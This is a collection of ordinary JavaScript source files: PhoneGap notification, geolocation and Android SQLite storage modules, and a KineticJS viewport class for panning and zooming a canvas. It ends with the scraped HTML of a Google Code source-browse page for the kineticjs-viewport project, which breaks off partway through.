* @param {String} buttonLabels Comma separated list of the labels of the buttons (default: 'OK,Cancel')
*/
Notification.prototype.confirm = function(message, resultCallback, title, buttonLabels) {
var _title = (title || "Confirm");
var _buttonLabels = (buttonLabels || "OK,Cancel");
PhoneGap.exec(resultCallback, null, "Notification", "confirm", [message,_title,_buttonLabels]);
};
/**
* Start spinning the activity indicator on the statusbar
*/
Notification.prototype.activityStart = function() {
PhoneGap.exec(null, null, "Notification", "activityStart", ["Busy","Please wait..."]);
};
/**
* Stop spinning the activity indicator on the statusbar, if it's currently spinning
*/
Notification.prototype.activityStop = function() {
PhoneGap.exec(null, null, "Notification", "activityStop", []);
};
/**
* Display a progress dialog with progress bar that goes from 0 to 100.
*
* @param {String} title Title of the progress dialog.
* @param {String} message Message to display in the dialog.
*/
Notification.prototype.progressStart = function(title, message) {
PhoneGap.exec(null, null, "Notification", "progressStart", [title, message]);
};
/**
* Set the progress dialog value.
*
* @param {Number} value 0-100
*/
Notification.prototype.progressValue = function(value) {
PhoneGap.exec(null, null, "Notification", "progressValue", [value]);
};
/**
* Close the progress dialog.
*/
Notification.prototype.progressStop = function() {
PhoneGap.exec(null, null, "Notification", "progressStop", []);
};
/**
* Causes the device to blink a status LED.
*
* @param {Integer} count The number of blinks.
* @param {String} colour The colour of the light.
*/
Notification.prototype.blink = function(count, colour) {
// NOT IMPLEMENTED
};
/**
* Causes the device to vibrate.
*
* @param {Integer} mills The number of milliseconds to vibrate for.
*/
Notification.prototype.vibrate = function(mills) {
PhoneGap.exec(null, null, "Notification", "vibrate", [mills]);
};
/**
* Causes the device to beep.
* On Android, the default notification ringtone is played "count" times.
*
* @param {Integer} count The number of beeps.
*/
Notification.prototype.beep = function(count) {
PhoneGap.exec(null, null, "Notification", "beep", [count]);
};
PhoneGap.addConstructor(function() {
if (typeof navigator.notification === "undefined") {
navigator.notification = new Notification();
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("position")) {
PhoneGap.addResource("position");
/**
* This class contains position information.
* @param {Object} lat
* @param {Object} lng
* @param {Object} acc
* @param {Object} alt
* @param {Object} altacc
* @param {Object} head
* @param {Object} vel
* @constructor
*/
var Position = function(coords, timestamp) {
this.coords = coords;
this.timestamp = (timestamp !== 'undefined') ? timestamp : new Date().getTime();
};
/** @constructor */
var Coordinates = function(lat, lng, alt, acc, head, vel, altacc) {
/**
* The latitude of the position.
*/
this.latitude = lat;
/**
* The longitude of the position,
*/
this.longitude = lng;
/**
* The accuracy of the position.
*/
this.accuracy = acc;
/**
* The altitude of the position.
*/
this.altitude = alt;
/**
* The direction the device is moving at the position.
*/
this.heading = head;
/**
* The velocity with which the device is moving at the position.
*/
this.speed = vel;
/**
* The altitude accuracy of the position.
*/
this.altitudeAccuracy = (altacc !== 'undefined') ? altacc : null;
};
/**
* This class specifies the options for requesting position data.
* @constructor
*/
var PositionOptions = function() {
/**
* Specifies the desired position accuracy.
*/
this.enableHighAccuracy = true;
/**
* The timeout after which if position data cannot be obtained the errorCallback
* is called.
*/
this.timeout = 10000;
};
/**
* This class contains information about any GSP errors.
* @constructor
*/
var PositionError = function() {
this.code = null;
this.message = "";
};
PositionError.UNKNOWN_ERROR = 0;
PositionError.PERMISSION_DENIED = 1;
PositionError.POSITION_UNAVAILABLE = 2;
PositionError.TIMEOUT = 3;
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/*
* This is purely for the Android 1.5/1.6 HTML 5 Storage
* I was hoping that Android 2.0 would deprecate this, but given the fact that
* most manufacturers ship with Android 1.5 and do not do OTA Updates, this is required
*/
if (!PhoneGap.hasResource("storage")) {
PhoneGap.addResource("storage");
/**
* SQL result set object
* PRIVATE METHOD
* @constructor
*/
var DroidDB_Rows = function() {
this.resultSet = []; // results array
this.length = 0; // number of rows
};
/**
* Get item from SQL result set
*
* @param row The row number to return
* @return The row object
*/
DroidDB_Rows.prototype.item = function(row) {
return this.resultSet[row];
};
/**
* SQL result set that is returned to user.
* PRIVATE METHOD
* @constructor
*/
var DroidDB_Result = function() {
this.rows = new DroidDB_Rows();
};
/**
* Storage object that is called by native code when performing queries.
* PRIVATE METHOD
* @constructor
*/
var DroidDB = function() {
this.queryQueue = {};
};
/**
* Callback from native code when query is complete.
* PRIVATE METHOD
*
* @param id Query id
*/
DroidDB.prototype.completeQuery = function(id, data) {
var query = this.queryQueue[id];
if (query) {
try {
delete this.queryQueue[id];
// Get transaction
var tx = query.tx;
// If transaction hasn't failed
// Note: We ignore all query results if previous query
// in the same transaction failed.
if (tx && tx.queryList[id]) {
// Save query results
var r = new DroidDB_Result();
r.rows.resultSet = data;
r.rows.length = data.length;
try {
if (typeof query.successCallback === 'function') {
query.successCallback(query.tx, r);
}
} catch (ex) {
console.log("executeSql error calling user success callback: "+ex);
}
tx.queryComplete(id);
}
} catch (e) {
console.log("executeSql error: "+e);
}
}
};
/**
* Callback from native code when query fails
* PRIVATE METHOD
*
* @param reason Error message
* @param id Query id
*/
DroidDB.prototype.fail = function(reason, id) {
var query = this.queryQueue[id];
if (query) {
try {
delete this.queryQueue[id];
// Get transaction
var tx = query.tx;
// If transaction hasn't failed
// Note: We ignore all query results if previous query
// in the same transaction failed.
if (tx && tx.queryList[id]) {
tx.queryList = {};
try {
if (typeof query.errorCallback === 'function') {
query.errorCallback(query.tx, reason);
}
} catch (ex) {
console.log("executeSql error calling user error callback: "+ex);
}
tx.queryFailed(id, reason);
}
} catch (e) {
console.log("executeSql error: "+e);
}
}
};
/**
* SQL query object
* PRIVATE METHOD
*
* @constructor
* @param tx The transaction object that this query belongs to
*/
var DroidDB_Query = function(tx) {
// Set the id of the query
this.id = PhoneGap.createUUID();
// Add this query to the queue
droiddb.queryQueue[this.id] = this;
// Init result
this.resultSet = [];
// Set transaction that this query belongs to
this.tx = tx;
// Add this query to transaction list
this.tx.queryList[this.id] = this;
// Callbacks
this.successCallback = null;
this.errorCallback = null;
};
/**
* Transaction object
* PRIVATE METHOD
* @constructor
*/
var DroidDB_Tx = function() {
// Set the id of the transaction
this.id = PhoneGap.createUUID();
// Callbacks
this.successCallback = null;
this.errorCallback = null;
// Query list
this.queryList = {};
};
/**
* Mark query in transaction as complete.
* If all queries are complete, call the user's transaction success callback.
*
* @param id Query id
*/
DroidDB_Tx.prototype.queryComplete = function(id) {
delete this.queryList[id];
// If no more outstanding queries, then fire transaction success
if (this.successCallback) {
var count = 0;
var i;
for (i in this.queryList) {
if (this.queryList.hasOwnProperty(i)) {
count++;
}
}
if (count === 0) {
try {
this.successCallback();
} catch(e) {
console.log("Transaction error calling user success callback: " + e);
}
}
}
};
/**
* Mark query in transaction as failed.
*
* @param id Query id
* @param reason Error message
*/
DroidDB_Tx.prototype.queryFailed = function(id, reason) {
// The sql queries in this transaction have already been run, since
// we really don't have a real transaction implemented in native code.
// However, the user callbacks for the remaining sql queries in transaction
// will not be called.
this.queryList = {};
if (this.errorCallback) {
try {
this.errorCallback(reason);
} catch(e) {
console.log("Transaction error calling user error callback: " + e);
}
}
};
/**
* Execute SQL statement
*
* @param sql SQL statement to execute
* @param params Statement parameters
* @param successCallback Success callback
* @param errorCallback Error callback
*/
DroidDB_Tx.prototype.executeSql = function(sql, params, successCallback, errorCallback) {
// Init params array
if (typeof params === 'undefined') {
params = [];
}
// Create query and add to queue
var query = new DroidDB_Query(this);
droiddb.queryQueue[query.id] = query;
// Save callbacks
query.successCallback = successCallback;
query.errorCallback = errorCallback;
// Call native code
PhoneGap.exec(null, null, "Storage", "executeSql", [sql, params, query.id]);
};
var DatabaseShell = function() {
};
/**
* Start a transaction.
* Does not support rollback in event of failure.
*
* @param process {Function} The transaction function
* @param successCallback {Function}
* @param errorCallback {Function}
*/
DatabaseShell.prototype.transaction = function(process, errorCallback, successCallback) {
var tx = new DroidDB_Tx();
tx.successCallback = successCallback;
tx.errorCallback = errorCallback;
try {
process(tx);
} catch (e) {
console.log("Transaction error: "+e);
if (tx.errorCallback) {
try {
tx.errorCallback(e);
} catch (ex) {
console.log("Transaction error calling user error callback: "+e);
}
}
}
};
/**
* Open database
*
* @param name Database name
* @param version Database version
* @param display_name Database display name
* @param size Database size in bytes
* @return Database object
*/
var DroidDB_openDatabase = function(name, version, display_name, size) {
PhoneGap.exec(null, null, "Storage", "openDatabase", [name, version, display_name, size]);
var db = new DatabaseShell();
return db;
};
/**
* For browsers with no localStorage we emulate it with SQLite. Follows the w3c api.
* TODO: Do similar for sessionStorage.
*/
/**
* @constructor
*/
var CupcakeLocalStorage = function() {
try {
this.db = openDatabase('localStorage', '1.0', 'localStorage', 2621440);
var storage = {};
this.length = 0;
function setLength (length) {
this.length = length;
localStorage.length = length;
}
this.db.transaction(
function (transaction) {
var i;
transaction.executeSql('CREATE TABLE IF NOT EXISTS storage (id NVARCHAR(40) PRIMARY KEY, body NVARCHAR(255))');
transaction.executeSql('SELECT * FROM storage', [], function(tx, result) {
for(var i = 0; i < result.rows.length; i++) {
storage[result.rows.item(i)['id']] = result.rows.item(i)['body'];
}
setLength(result.rows.length);
PhoneGap.initializationComplete("cupcakeStorage");
});
},
function (err) {
alert(err.message);
}
);
this.setItem = function(key, val) {
if (typeof(storage[key])=='undefined') {
this.length++;
}
storage[key] = val;
this.db.transaction(
function (transaction) {
transaction.executeSql('CREATE TABLE IF NOT EXISTS storage (id NVARCHAR(40) PRIMARY KEY, body NVARCHAR(255))');
transaction.executeSql('REPLACE INTO storage (id, body) values(?,?)', [key,val]);
}
);
};
this.getItem = function(key) {
return storage[key];
};
this.removeItem = function(key) {
delete storage[key];
this.length--;
this.db.transaction(
function (transaction) {
transaction.executeSql('CREATE TABLE IF NOT EXISTS storage (id NVARCHAR(40) PRIMARY KEY, body NVARCHAR(255))');
transaction.executeSql('DELETE FROM storage where id=?', [key]);
}
);
};
this.clear = function() {
storage = {};
this.length = 0;
this.db.transaction(
function (transaction) {
transaction.executeSql('CREATE TABLE IF NOT EXISTS storage (id NVARCHAR(40) PRIMARY KEY, body NVARCHAR(255))');
transaction.executeSql('DELETE FROM storage', []);
}
);
};
this.key = function(index) {
var i = 0;
for (var j in storage) {
if (i==index) {
return j;
} else {
i++;
}
}
return null;
};
} catch(e) {
alert("Database error "+e+".");
return;
}
};
PhoneGap.addConstructor(function() {
var setupDroidDB = function() {
navigator.openDatabase = window.openDatabase = DroidDB_openDatabase;
window.droiddb = new DroidDB();
}
if (typeof window.openDatabase === "undefined") {
setupDroidDB();
} else {
window.openDatabase_orig = window.openDatabase;
window.openDatabase = function(name, version, desc, size){
// Some versions of Android will throw a SECURITY_ERR so we need
// to catch the exception and seutp our own DB handling.
var db = null;
try {
db = window.openDatabase_orig(name, version, desc, size);
}
catch (ex) {
db = null;
}
if (db == null) {
setupDroidDB();
return DroidDB_openDatabase(name, version, desc, size);
}
else {
return db;
}
};
}
if ((typeof window.localStorage == "undefined") || (window.localStorage == null)) {
navigator.localStorage = window.localStorage = new CupcakeLocalStorage();
PhoneGap.waitForInitialization("cupcakeStorage");
}
});
}
| JavaScript |
function log(message) {
if( console && console.log ) {
console.log(message);
}
}
function Viewport(stage) {
// begin scale at 100%
this.scale = 1.0;
this.minimumScale = 0.5;
this.maximumScale = 1.5;
this.scaleRate = 0.03;
this.canvasWidth = stage.width;
this.canvasHeight = stage.height;
// we zero out the view -- position it at 0,0
this.viewLeft = 0;
this.viewTop = 0;
this.viewRight = 0;
this.viewBottom = 0;
// compute the view right and bottom positions. the top, left will still be 0,0.
this.updateViewBounds();
this.panRate = 10.0;
// nodes can be anything which inherits Node, such as Groups, Shapes, except Layers.
this.nodes = {};
// create layer
this.layer = new Kinetic.Layer();
// add layer to stage
stage.add(this.layer);
// set initial zoom
this.setZoom(this.scale);
}
Viewport.prototype.updateViewBounds = function() {
this.viewRight = this.viewLeft + this.canvasWidth * (1 / this.scale);
this.viewBottom = this.viewTop + this.canvasHeight * (1 / this.scale);
}
/// <summary>
/// Returns the ID to be used when adding the next node.
/// </summary>
Viewport.prototype.getNewNodeID = function() {
if( typeof(this.nextNodeID) == "undefined" ) {
// init to 1
this.nextNodeID = 1;
}
else
{
// increment by 1
this.nextNodeID++;
}
// return next ID value
return this.nextNodeID;
}
Viewport.prototype.setNodeX = function( nodeID, x ) {
var node = this.getNode( nodeID );
node.x = this.viewLeft + x;
}
Viewport.prototype.setNodeY = function( nodeID, y ) {
var node = this.getNode( nodeID );
node.y = this.viewTop + y;
}
// returns the game-space position, not the view-space position
Viewport.prototype.getNodeX = function( nodeID ) {
var node = this.getNode( nodeID );
return node.x + this.viewLeft;
}
Viewport.prototype.getNodeY = function( nodeID ) {
var node = this.getNode( nodeID );
return node.y + this.viewTop;
}
Viewport.prototype.addNodeX = function( nodeID, x ) {
var node = this.getNode( nodeID );
node.x += x;
}
Viewport.prototype.addNodeY = function( nodeID, y ) {
var node = this.getNode( nodeID );
node.y += y;
}
Viewport.prototype.getNode = function( nodeID ) {
var node = this.nodes[nodeID];
return node;
}
/// <summary>
/// Adds the node to the viewport and returns the ID.
/// </summary>
Viewport.prototype.add = function(node, /* only required if node doesn't have it */ radius) {
if( typeof( node.radius ) == "undefined" || node.radius < 1 ) {
// node didn't have a valid radius property
if( typeof( radius ) == "undefined" || radius < 1 ) {
// we didn't get a radius, so throw an exception
throw new "Error: Viewport.add() requires a positive integer value for the 'radius' parameter if the provided node does not have a valid radius property.";
}
else
{
// store the provided radius
node.radius = radius;
}
}
// get the new node ID and store in node
node.ID = this.getNewNodeID();
// store node in hashmap by node ID
this.nodes[node.ID] = node;
// apply view-space position adjustment
node.x -= this.viewLeft;
node.y -= this.viewTop;
// record that the node is not visible, not added to layer
node.isVisible = false;
// log event
log( "added a new node with ID = " + node.ID );
// reurn node ID
return node.ID;
}
Viewport.prototype.draw = function() {
// call a method in here which calcs the viewport dimensions, position. then loops thru all nodes and calcs whether they are visible. if they are visible and not shown, then shown, and visa-versa. flag accordingly.
this.updateViewBounds();
// set which nodes are visible (added to layer) based on the view bounds
this.updateVisibleNodes();
// re-render the layer
this.layer.draw();
}
Viewport.prototype.updateVisibleNodes = function() {
// for each node, determine if node is in bounds. if it is, and isn't visible, add it. if it isn't and is visible, remove it.
// store values in local variables for convenience and performance
var viewPadding = 100; // for testing only
var viewLeft = this.viewLeft + viewPadding;
var viewTop = this.viewTop + viewPadding;
var viewRight = this.viewRight - viewPadding;
var viewBottom = this.viewBottom - viewPadding;
log( "view rect: left=" + viewLeft + ", right=" + viewRight + ", top=" + viewTop + ", bottom=" + viewBottom );
// start ClipRect - for testing only
if( typeof( this.clipRect ) == "undefined" ) {
// add test polygon for the clipping rect
this.clipRect = new Kinetic.Rect( {
x: viewPadding,
y: viewPadding,
stroke: "grey",
strokeWidth: 1,
height: viewBottom - viewTop,
width: viewRight - viewLeft
} );
// add rect to layer
this.layer.add(this.clipRect);
this.clipRect.moveToBottom();
}
else
{
this.clipRect.x = viewPadding;
this.clipRect.y = viewPadding;
this.clipRect.height = viewBottom - viewTop;
this.clipRect.width = viewRight - viewLeft;
this.clipRect.moveToBottom();
}
// end ClipRect
for( var nodeID in this.nodes ) {
// get current node
var node = this.getNode(nodeID);
// TODO: set node radius to actual value
var nodeRadius = node.radius;
var nodeDiameter = nodeRadius * 2;
// calculate node positions
var nodeLeft = this.getNodeX( nodeID ) - nodeRadius;
var nodeRight = nodeLeft + nodeDiameter;
var nodeTop = this.getNodeY( nodeID ) - nodeRadius;
var nodeBottom = nodeTop + nodeDiameter;
if( nodeID == 34 || nodeID == 1) {
log("node " + nodeID + " bounds: left=" + nodeLeft + ", right=" + nodeRight + ", top=" + nodeTop + ", bottom=" + nodeBottom );
}
// determine whether node is within the view bounds
var isInView =
( viewLeft <= nodeRight // node's right is to the right of the view's left edge
&& nodeLeft <= viewRight // node's left is to the left of the view's right edge
&& viewTop <= nodeBottom // node's bottom below the view's top edge
&& nodeTop <= viewBottom ); // node's top is above the view's bottom edge
switch( isInView ) {
case true:
if( !node.isVisible ) {
// node isn't visible, and it needs to be
// add node to layer
this.layer.add(node);
// flag node as visible
node.isVisible = true;
}
if( nodeID == 34 ) {
log("showing node " + nodeID + ": left=" + nodeLeft + ", right=" + nodeRight + ", top=" + nodeTop + ", bottom=" + nodeBottom );
}
break;
case false:
if( node.isVisible ) {
// node is visible, and it shouldn't be
// remove node from layer
this.layer.remove(node);
// flag node as not visible
node.isVisible = false;
if( nodeID == 34 || nodeID == 1 ) {
log("hiding node " + nodeID + ": left=" + nodeLeft + ", right=" + nodeRight + ", top=" + nodeTop + ", bottom=" + nodeBottom );
}
}
break;
}
}
}
Viewport.prototype.panLeft = function(amount) {
this.panX( -amount );
}
Viewport.prototype.panRight = function(amount) {
this.panX( amount );
}
Viewport.prototype.panUp = function(amount) {
this.panY( -amount );
}
Viewport.prototype.panDown = function(amount) {
this.panY( amount );
}
Viewport.prototype.panX = function(amount) {
var panChange = amount * ( 1 / this.scale);
for( var nodeID in this.nodes ) {
// move node position by given amount
this.nodes[nodeID].x += -panChange;
}
// record new view left
this.viewLeft += panChange;
}
Viewport.prototype.panY = function(amount) {
var panChange = amount * ( 1 / this.scale);
for( var nodeID in this.nodes ) {
// move node position by given amount
this.nodes[nodeID].y += -panChange;
}
// record new view top
this.viewTop += panChange;
}
Viewport.prototype.zoomIn = function() {
this.setZoom(this.scale + this.scaleRate);
}
Viewport.prototype.zoomOut = function() {
this.setZoom(this.scale - this.scaleRate);
}
Viewport.prototype.setZoom = function(scale) {
// store new scale
this.scale = scale;
if( this.scale < this.minimumScale ) {
// the scale is below the minimum - set to minimum
this.scale = this.minimumScale;
}
else if( this.scale > this.maximumScale ) {
// the scale is above the maximum - set to maximum
this.scale = this.maximumScale;
}
// apply new scale
this.layer.setScale(this.scale);
}
| JavaScript |
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" >
<meta name="ROBOTS" content="NOARCHIVE">
<link rel="icon" type="image/vnd.microsoft.icon" href="http://www.gstatic.com/codesite/ph/images/phosting.ico">
<script type="text/javascript">
var codesite_token = "QeQ3CrvbjWSIt0B6Qa8mNe8zI2Y:1334507683279";
var CS_env = {"profileUrl":["/u/100630599901009391548/"],"token":"QeQ3CrvbjWSIt0B6Qa8mNe8zI2Y:1334507683279","assetHostPath":"http://www.gstatic.com/codesite/ph","domainName":null,"assetVersionPath":"http://www.gstatic.com/codesite/ph/17979195433110598383","projectHomeUrl":"/p/kineticjs-viewport","relativeBaseUrl":"","projectName":"kineticjs-viewport","loggedInUserEmail":"alundgren04@gmail.com"};
var _gaq = _gaq || [];
_gaq.push(
['siteTracker._setAccount', 'UA-18071-1'],
['siteTracker._trackPageview']);
</script>
<title>variable-time-step-loop-1.0.0.js -
kineticjs-viewport -
A KineticJS extension for displaying a view region of a larger logical space. - Google Project Hosting
</title>
<link type="text/css" rel="stylesheet" href="http://www.gstatic.com/codesite/ph/17979195433110598383/css/core.css">
<link type="text/css" rel="stylesheet" href="http://www.gstatic.com/codesite/ph/17979195433110598383/css/ph_detail.css" >
<link type="text/css" rel="stylesheet" href="http://www.gstatic.com/codesite/ph/17979195433110598383/css/d_sb.css" >
<!--[if IE]>
<link type="text/css" rel="stylesheet" href="http://www.gstatic.com/codesite/ph/17979195433110598383/css/d_ie.css" >
<![endif]-->
<style type="text/css">
.menuIcon.off { background: no-repeat url(http://www.gstatic.com/codesite/ph/images/dropdown_sprite.gif) 0 -42px }
.menuIcon.on { background: no-repeat url(http://www.gstatic.com/codesite/ph/images/dropdown_sprite.gif) 0 -28px }
.menuIcon.down { background: no-repeat url(http://www.gstatic.com/codesite/ph/images/dropdown_sprite.gif) 0 0; }
tr.inline_comment {
background: #fff;
vertical-align: top;
}
div.draft, div.published {
padding: .3em;
border: 1px solid #999;
margin-bottom: .1em;
font-family: arial, sans-serif;
max-width: 60em;
}
div.draft {
background: #ffa;
}
div.published {
background: #e5ecf9;
}
div.published .body, div.draft .body {
padding: .5em .1em .1em .1em;
max-width: 60em;
white-space: pre-wrap;
white-space: -moz-pre-wrap;
white-space: -pre-wrap;
white-space: -o-pre-wrap;
word-wrap: break-word;
font-size: 1em;
}
div.draft .actions {
margin-left: 1em;
font-size: 90%;
}
div.draft form {
padding: .5em .5em .5em 0;
}
div.draft textarea, div.published textarea {
width: 95%;
height: 10em;
font-family: arial, sans-serif;
margin-bottom: .5em;
}
.nocursor, .nocursor td, .cursor_hidden, .cursor_hidden td {
background-color: white;
height: 2px;
}
.cursor, .cursor td {
background-color: darkblue;
height: 2px;
display: '';
}
.list {
border: 1px solid white;
border-bottom: 0;
}
</style>
</head>
<body class="t4">
<script type="text/javascript">
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ga);
})();
</script>
<script type="text/javascript">
window.___gcfg = {lang: 'en'};
(function()
{var po = document.createElement("script");
po.type = "text/javascript"; po.async = true;po.src = "https://apis.google.com/js/plusone.js";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(po, s);
})();
</script>
<div class="headbg">
<div id="gaia">
<span>
<a href="#" id="multilogin-dropdown" onclick="return false;"
><u><b>alundgren04@gmail.com</b></u> <small>▼</small></a>
| <a href="/u/100630599901009391548/" id="projects-dropdown" onclick="return false;"
><u>My favorites</u> <small>▼</small></a>
| <a href="/u/100630599901009391548/" onclick="_CS_click('/gb/ph/profile');"
title="Profile, Updates, and Settings"
><u>Profile</u></a>
| <a href="https://www.google.com/accounts/Logout?continue=http%3A%2F%2Fcode.google.com%2Fp%2Fkineticjs-viewport%2Fsource%2Fbrowse%2Fjs%2Fvariable-time-step-loop-1.0.0.js"
onclick="_CS_click('/gb/ph/signout');"
><u>Sign out</u></a>
</span>
</div>
<div class="gbh" style="left: 0pt;"></div>
<div class="gbh" style="right: 0pt;"></div>
<div style="height: 1px"></div>
<!--[if lte IE 7]>
<div style="text-align:center;">
Your version of Internet Explorer is not supported. Try a browser that
contributes to open source, such as <a href="http://www.firefox.com">Firefox</a>,
<a href="http://www.google.com/chrome">Google Chrome</a>, or
<a href="http://code.google.com/chrome/chromeframe/">Google Chrome Frame</a>.
</div>
<![endif]-->
<table style="padding:0px; margin: 0px 0px 10px 0px; width:100%" cellpadding="0" cellspacing="0"
itemscope itemtype="http://schema.org/CreativeWork">
<tr style="height: 58px;">
<td id="plogo">
<link itemprop="url" href="/p/kineticjs-viewport">
<a href="/p/kineticjs-viewport/">
<img src="/p/kineticjs-viewport/logo?cct=1332283147"
alt="Logo" itemprop="image">
</a>
</td>
<td style="padding-left: 0.5em">
<div id="pname">
<a href="/p/kineticjs-viewport/"><span itemprop="name">kineticjs-viewport</span></a>
</div>
<div id="psum">
<a id="project_summary_link"
href="/p/kineticjs-viewport/"><span itemprop="description">A KineticJS extension for displaying a view region of a larger logical space.</span></a>
</div>
</td>
<td style="white-space:nowrap;text-align:right; vertical-align:bottom;">
<form action="/hosting/search">
<input size="30" name="q" value="" type="text">
<input type="submit" name="projectsearch" value="Search projects" >
</form>
</tr>
</table>
</div>
<div id="mt" class="gtb">
<a href="/p/kineticjs-viewport/" class="tab ">Project Home</a>
<a href="/p/kineticjs-viewport/downloads/list" class="tab ">Downloads</a>
<a href="/p/kineticjs-viewport/w/list" class="tab ">Wiki</a>
<a href="/p/kineticjs-viewport/issues/list"
class="tab ">Issues</a>
<a href="/p/kineticjs-viewport/source/checkout"
class="tab active">Source</a>
<a href="/p/kineticjs-viewport/admin"
class="tab inactive">Administer</a>
<div class=gtbc></div>
</div>
<table cellspacing="0" cellpadding="0" width="100%" align="center" border="0" class="st">
<tr>
<td class="subt">
<div class="st2">
<div class="isf">
<form action="/p/kineticjs-viewport/source/browse" style="display: inline">
Repository:
<select name="repo" id="repo" style="font-size: 92%" onchange="submit()">
<option value="default">default</option><option value="wiki">wiki</option>
</select>
</form>
<span class="inst1"><a href="/p/kineticjs-viewport/source/checkout">Checkout</a></span>
<span class="inst2"><a href="/p/kineticjs-viewport/source/browse/">Browse</a></span>
<span class="inst3"><a href="/p/kineticjs-viewport/source/list">Changes</a></span>
<span class="inst4"><a href="/p/kineticjs-viewport/source/clones">Clones</a></span>
<form action="/p/kineticjs-viewport/source/search" method="get" style="display:inline"
onsubmit="document.getElementById('codesearchq').value = document.getElementById('origq').value">
<input type="hidden" name="q" id="codesearchq" value="">
<input type="text" maxlength="2048" size="38" id="origq" name="origq" value="" title="Google Code Search" style="font-size:92%"> <input type="submit" value="Search Trunk" name="btnG" style="font-size:92%">
<a href="/p/kineticjs-viewport/issues/entry?show=review&former=sourcelist">Request code review</a>
</form>
</div>
</div>
</td>
<td align="right" valign="top" class="bevel-right"></td>
</tr>
</table>
<script type="text/javascript">
var cancelBubble = false;
function _go(url) { document.location = url; }
</script>
<div id="maincol"
>
<!-- IE -->
<div class="expand">
<div id="colcontrol">
<style type="text/css">
#file_flipper { white-space: nowrap; padding-right: 2em; }
#file_flipper.hidden { display: none; }
#file_flipper .pagelink { color: #0000CC; text-decoration: underline; }
#file_flipper #visiblefiles { padding-left: 0.5em; padding-right: 0.5em; }
</style>
<table id="nav_and_rev" class="list"
cellpadding="0" cellspacing="0" width="100%">
<tr>
<td nowrap="nowrap" class="src_crumbs src_nav" width="33%">
<strong class="src_nav">Source path: </strong>
<span id="crumb_root">
<a href="/p/kineticjs-viewport/source/browse/">git</a>/ </span>
<span id="crumb_links" class="ifClosed"><a href="/p/kineticjs-viewport/source/browse/js/">js</a><span class="sp">/ </span>variable-time-step-loop-1.0.0.js</span>
</td>
<td nowrap="nowrap" width="33%" align="center">
<a href="/p/kineticjs-viewport/source/browse/js/variable-time-step-loop-1.0.0.js?edit=1"
><img src="http://www.gstatic.com/codesite/ph/images/pencil-y14.png"
class="edit_icon">Edit file</a>
</td>
<td nowrap="nowrap" width="33%" align="right">
<table cellpadding="0" cellspacing="0" style="font-size: 100%"><tr>
<td class="flipper"><b>f89689fb60f6</b></td>
</tr></table>
</td>
</tr>
</table>
<div class="fc">
<style type="text/css">
.undermouse span {
background-image: url(http://www.gstatic.com/codesite/ph/images/comments.gif); }
</style>
<table class="opened" id="review_comment_area"
onmouseout="gutterOut()"><tr>
<td id="nums">
<pre><table width="100%"><tr class="nocursor"><td></td></tr></table></pre>
<pre><table width="100%" id="nums_table_0"><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_1"
onmouseover="gutterOver(1)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',1);"> </span
></td><td id="1"><a href="#1">1</a></td></tr
><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_2"
onmouseover="gutterOver(2)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',2);"> </span
></td><td id="2"><a href="#2">2</a></td></tr
><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_3"
onmouseover="gutterOver(3)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',3);"> </span
></td><td id="3"><a href="#3">3</a></td></tr
><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_4"
onmouseover="gutterOver(4)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',4);"> </span
></td><td id="4"><a href="#4">4</a></td></tr
><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_5"
onmouseover="gutterOver(5)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',5);"> </span
></td><td id="5"><a href="#5">5</a></td></tr
><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_6"
onmouseover="gutterOver(6)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',6);"> </span
></td><td id="6"><a href="#6">6</a></td></tr
><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_7"
onmouseover="gutterOver(7)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',7);"> </span
></td><td id="7"><a href="#7">7</a></td></tr
><tr id="gr_svnf89689fb60f6bafe804486ba044aca3e5a9eaf68_8"
onmouseover="gutterOver(8)"
><td><span title="Add comment" onclick="codereviews.startEdit('svnf89689fb60f6bafe804486ba044aca3e5a9eaf68',8);"> </span
